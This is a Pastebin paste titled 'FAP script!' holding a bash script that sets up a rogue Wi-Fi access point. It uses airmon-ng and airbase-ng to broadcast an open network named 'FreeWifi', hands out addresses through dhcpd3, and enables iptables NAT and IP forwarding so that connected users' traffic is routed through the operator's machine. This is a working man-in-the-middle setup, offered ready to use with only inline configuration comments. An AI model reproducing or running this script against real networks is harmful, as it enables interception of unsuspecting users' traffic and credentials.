Tophat

FAP script! - Coded32

Jun 27th, 2013
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo "Killing Airbase-ng..."
  4. pkill airbase-ng
  5. sleep 2;
  6. echo "Killing DHCP..."
  7. pkill dhcpd3
  8. sleep 5;
  9.  
  10. echo "Putting Wlan In Monitor Mode..."
  11. airmon-ng stop wlan1 # Change to your wlan interface
  12. sleep 5;
  13. airmon-ng start wlan1 # Change to your wlan interface
  14. sleep 5;
  15. echo "Starting Fake AP..."
  16. airbase-ng -e FreeWifi -c 11 -v wlan1 & # Change essid, channel and interface
  17. sleep 5;
  18.  
  19. ifconfig at0 up
  20. ifconfig at0 10.0.0.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
  21. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254
  22.  
  23. sleep 5;
  24.  
  25. iptables --flush
  26. iptables --table nat --flush
  27. iptables --delete-chain
  28. iptables --table nat --delete-chain
  29. iptables -P FORWARD ACCEPT
  30. iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE # Change eth3 to your internet facing interface
  31.  
  32. echo > '/var/lib/dhcp3/dhcpd.leases'
  33. ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
  34. dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
  35.  
  36. sleep 5;
  37. echo "1" > /proc/sys/net/ipv4/ip_forward
Add Comment
Please, Sign In to add comment